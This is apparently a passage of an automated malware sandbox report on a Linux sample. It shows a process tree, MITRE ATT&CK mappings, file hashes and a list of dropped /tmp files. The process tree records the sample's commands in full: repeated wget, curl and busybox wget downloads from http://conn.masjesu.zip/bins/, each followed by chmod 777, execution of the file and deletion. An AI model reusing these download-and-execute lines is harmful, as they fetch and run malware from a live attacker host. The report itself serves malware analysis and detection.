  - Executes dropped EXE
  PID:999
- /bin/rm
  rm bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  ./LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:1011
- /bin/chmod
  chmod 777 vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  ./vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:1014
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1016
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /bin/chmod
  chmod 777 hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - File and Directory Permissions Modification
  PID:1019
- /tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  ./hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Executes dropped EXE
  PID:1020
- /bin/rm
  rm hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:1021
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:1022
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1023
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /bin/chmod
  chmod 777 K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - File and Directory Permissions Modification
  PID:1026
- /tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  ./K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Executes dropped EXE
  PID:1027
- /bin/rm
  rm K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:1028
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:1029
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1030
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:1032
- /bin/chmod
  chmod 777 L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - File and Directory Permissions Modification
  PID:1033
- /tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  ./L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Executes dropped EXE
  PID:1034
- /bin/rm
  rm L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:1035
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:1036
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1037
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - System Network Configuration Discovery
  PID:1039
- /bin/chmod
  chmod 777 jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - File and Directory Permissions Modification
  PID:1040
- /tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  ./jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Executes dropped EXE
  PID:1041
- /bin/rm
  rm jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:1042

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld

Path /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	774	qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	781	bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	820	9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	840	73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	861	hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	884	K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	891	LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	898	vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	908	L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	915	jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	922	1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	929	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	936	8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	943	FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	950	8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	957	FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	964	1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	971	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	978	9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	985	73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	992	qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	999	bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	1006	LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	1013	vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	1020	hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	1027	K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	1034	L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	1041	jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt